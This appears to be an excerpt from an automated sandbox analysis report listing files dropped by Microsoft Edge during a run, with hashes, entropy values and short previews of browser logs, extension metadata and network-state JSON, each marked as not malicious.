SHA-512:	730ECC72CE661ABA647813F5FA84F4BFA11E873CBB580261D8E8898F1C6B07C9DCB4C1EF2A12305AC1737A0ECDF016725A0CA84B70D2D3B0DAF65B729B946C55
Malicious:	false
Preview:	2024/10/29-12:59:30.222 1f7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-12:59:30.222 1f7c Recovering log #3.2024/10/29-12:59:30.223 1f7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1558543137938315
Encrypted:	false
SSDEEP:	6:1Qj+q2PN723oH+Tcwt865IFUt86QzZmw+6QJFINVkwON723oH+Tcwt86+ULJ:1Qj+vVaYeb/WFUt86Qz/+6QJFINV5Oar
MD5:	D047FD65213F39A58A8A33B309F61EE1
SHA1:	73C30F368A31139D2AAE77F53820EF9C806018F2
SHA-256:	84EEFD0931894A2A1D832DBFA1A1472494C3DE695596E7901E8E0CA9ED4830D7
SHA-512:	57F38D29274F3E731721114235E3112B5EC6673716945FF6497FD71F8203BE3BB4B792C06ADE0793CD4D781E954889229728CEFDE310A58EBFD2368481D9D2DB
Malicious:	false
Preview:	2024/10/29-12:59:30.232 1f7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-12:59:30.232 1f7c Recovering log #3.2024/10/29-12:59:30.233 1f7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1558543137938315
Encrypted:	false
SSDEEP:	6:1Qj+q2PN723oH+Tcwt865IFUt86QzZmw+6QJFINVkwON723oH+Tcwt86+ULJ:1Qj+vVaYeb/WFUt86Qz/+6QJFINV5Oar
MD5:	D047FD65213F39A58A8A33B309F61EE1
SHA1:	73C30F368A31139D2AAE77F53820EF9C806018F2
SHA-256:	84EEFD0931894A2A1D832DBFA1A1472494C3DE695596E7901E8E0CA9ED4830D7
SHA-512:	57F38D29274F3E731721114235E3112B5EC6673716945FF6497FD71F8203BE3BB4B792C06ADE0793CD4D781E954889229728CEFDE310A58EBFD2368481D9D2DB
Malicious:	false
Preview:	2024/10/29-12:59:30.232 1f7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-12:59:30.232 1f7c Recovering log #3.2024/10/29-12:59:30.233 1f7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.102894403758798
Encrypted:	false
SSDEEP:	6:1QHq2PN723oH+Tcwt8NIFUt86QqZmw+6QPkwON723oH+Tcwt8+eLJ:1QHvVaYebpFUt86Qq/+6QP5OaYebqJ
MD5:	6AD5D623A78FD87AB29C56831BF17335
SHA1:	E2BDC188434B519B52923CCFCCB82E4D757D8E44
SHA-256:	9F26E366CE9E2BB7ED657B41D278E3670B80AE325922972E06A1F22E25C19E62
SHA-512:	C8382DA6F6D02D31CA3320EBAF1F917C6500A2BC1BE199E3476DB79AC4A8A1F7E1D77B1B8977B5862FEA4B8383598C53510C71B7F7B015516C512BB7BDCAD7ED
Malicious:	false
Preview:	2024/10/29-12:59:31.012 1f40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-12:59:31.012 1f40 Recovering log #3.2024/10/29-12:59:31.013 1f40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.102894403758798
Encrypted:	false
SSDEEP:	6:1QHq2PN723oH+Tcwt8NIFUt86QqZmw+6QPkwON723oH+Tcwt8+eLJ:1QHvVaYebpFUt86Qq/+6QP5OaYebqJ
MD5:	6AD5D623A78FD87AB29C56831BF17335
SHA1:	E2BDC188434B519B52923CCFCCB82E4D757D8E44
SHA-256:	9F26E366CE9E2BB7ED657B41D278E3670B80AE325922972E06A1F22E25C19E62
SHA-512:	C8382DA6F6D02D31CA3320EBAF1F917C6500A2BC1BE199E3476DB79AC4A8A1F7E1D77B1B8977B5862FEA4B8383598C53510C71B7F7B015516C512BB7BDCAD7ED
Malicious:	false
Preview:	2024/10/29-12:59:31.012 1f40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-12:59:31.012 1f40 Recovering log #3.2024/10/29-12:59:31.013 1f40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21861961848037048
Encrypted:	false
SSDEEP:	3:oLl9tFlljq7A/mhWJFuQ3yy7IOWU6DHotdweytllrE9SFcTp4AGbNCV9RUI51:r75fOcDItd0Xi99pEYV
MD5:	F9D4B0767E01FB5CE9CC69D1863A162D
SHA1:	6EA849B4917554554DB607D14DACCAD14DE838FC
SHA-256:	0DDE0A9F8F6F9BC13A2DC1410AEE4138B18D839240EDE62BEF33C073E2804F9B
SHA-512:	593DBE96CB1EC5F55C2FB6FBBEF362FF473116036E13B711A41865EEC0C9A2E09EE6E4E62737AF1645BF3210461FDA62D0EC2D8FFC0DF245E605D42C1D2DBC53
Malicious:	false
Preview:	............K......&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.277051115992538
Encrypted:	false
SSDEEP:	12:1QtjvVaYeb8rcHEZrELFUt86Q5/+6QT5OaYeb8rcHEZrEZSJ:1QtjVaYeb8nZrExg86QTQFOaYeb8nZrt
MD5:	C370407734226ECF7A2A193827A544A7
SHA1:	4CCF52D37D98544FC06D45188A3D5CFAC0CE168D
SHA-256:	6604B588C4C1B062A2390792CCCBA5C905437F0337DE64D2A11D9172F994236D
SHA-512:	AF15D9B36020F5B827C881271403EC6B06903A1288D0B730C498DA24573FCE39F41C223B8FF8A1BE2D4852483E8A825655CFBB3BFF638210FB5CB3EF958DDB81
Malicious:	false
Preview:	2024/10/29-12:59:34.315 1f34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-12:59:34.316 1f34 Recovering log #3.2024/10/29-12:59:34.316 1f34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.277051115992538
Encrypted:	false
SSDEEP:	12:1QtjvVaYeb8rcHEZrELFUt86Q5/+6QT5OaYeb8rcHEZrEZSJ:1QtjVaYeb8nZrExg86QTQFOaYeb8nZrt
MD5:	C370407734226ECF7A2A193827A544A7
SHA1:	4CCF52D37D98544FC06D45188A3D5CFAC0CE168D
SHA-256:	6604B588C4C1B062A2390792CCCBA5C905437F0337DE64D2A11D9172F994236D
SHA-512:	AF15D9B36020F5B827C881271403EC6B06903A1288D0B730C498DA24573FCE39F41C223B8FF8A1BE2D4852483E8A825655CFBB3BFF638210FB5CB3EF958DDB81
Malicious:	false
Preview:	2024/10/29-12:59:34.315 1f34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-12:59:34.316 1f34 Recovering log #3.2024/10/29-12:59:34.316 1f34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.672437956565082
Encrypted:	false
SSDEEP:	48:xtZGBgbzvBHH1XZgsV03Sx41HHHxda2LoEkpUrVzV:xtsyzvfWCWRxLwQ
MD5:	3D684980A0F8583C87B59EE04C97F25C
SHA1:	78FE28B76AE81F70684A4DCBDE6044E8A6F07DBC
SHA-256:	9BB1443EF9F98A36A1043D2BBC69AF44F1D2B8F0736F1302522C3907162B0234
SHA-512:	A6DEC08B3F11D9B5FA0FDA40E86FCA61F54DA570EC83FB5038B19CD91FD17090677111F850393F6112ED6637DE86CEF24703CFC8638C22E7AAEB70C22FE8497D
Malicious:	false
Preview:	..v.\|................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":704}.!_https://ntp.msn.com..LastKnownPV..1730221182282.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730221183725.._https://ntp.msn.com..MUID!.359F0A28F1DB656E0F951F0FF08C6410.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730221182371,"schedule":[-1,-1,-1,25,40,37,-1],"scheduleFixed":[-1,-1,-1,25,40,37,-1],"simpleSchedule":[39,10,38,37,40,24,22]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730221182246.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241028.307"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_htt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.155501831139246
Encrypted:	false
SSDEEP:	6:1QiUpq2PN723oH+Tcwt8a2jMGIFUt86QsERFZZmw+6QqkwON723oH+Tcwt8a2jM4:1QiAvVaYeb8EFUt86Qs4FZ/+6Qq5OaYL
MD5:	115E5B7C52743646BE1991B059FEB8E2
SHA1:	CB110C59BD4293F94F6778EC4F5284E3B4EDD8F4
SHA-256:	0286450F3FB92B08A36D8C3083D9679E42AAD5FBEC496B963045CBEAC8630590
SHA-512:	168F3BA3A3B829786B4EEB684972200C1636FA22C22B317A339310957C39FC87856C7D3885061489A3621EF564A6D29AEB1713561BC303CBCD402FD41DDFED25
Malicious:	false
Preview:	2024/10/29-12:59:30.605 1c64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-12:59:30.606 1c64 Recovering log #3.2024/10/29-12:59:30.610 1c64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.155501831139246
Encrypted:	false
SSDEEP:	6:1QiUpq2PN723oH+Tcwt8a2jMGIFUt86QsERFZZmw+6QqkwON723oH+Tcwt8a2jM4:1QiAvVaYeb8EFUt86Qs4FZ/+6Qq5OaYL
MD5:	115E5B7C52743646BE1991B059FEB8E2
SHA1:	CB110C59BD4293F94F6778EC4F5284E3B4EDD8F4
SHA-256:	0286450F3FB92B08A36D8C3083D9679E42AAD5FBEC496B963045CBEAC8630590
SHA-512:	168F3BA3A3B829786B4EEB684972200C1636FA22C22B317A339310957C39FC87856C7D3885061489A3621EF564A6D29AEB1713561BC303CBCD402FD41DDFED25
Malicious:	false
Preview:	2024/10/29-12:59:30.605 1c64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-12:59:30.606 1c64 Recovering log #3.2024/10/29-12:59:30.610 1c64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2bb6c3d0-9a00-4918-b2bb-0295f657b02d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2c85c6d1-a9af-4c93-a915-9eb1737a71ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\52d9fb97-75d8-4ed0-b19c-03538870191a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6b306eb7-b2a6-464c-8b42-00db60559b7d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.0059749963263065
Encrypted:	false
SSDEEP:	192:tTH8eGwbn+IEWcmp6ZxrOMmyN/4umUYO0B/zbl0b:VHBDbnDEJmpkxrT14uma0B7bl0b
MD5:	E961AF1BE5C352D8745D7825A0C4AD0C
SHA1:	6EC2D374EBCA0117B644BB10C07A5694CD135CD8
SHA-256:	5B549F44ADE776C15FDCCF760C696A318854E29CEA8343C1D1612C9D121051D1
SHA-512:	F7FBE02AC25974451DE5949CF768C3CDA39EAD147D8F584D384E4BE888D86DD9E1A508A6AFAB7D64209A8C431398D6850FD5D4D4E0AEE46A46FEBFC29D1A33AE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4d955.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
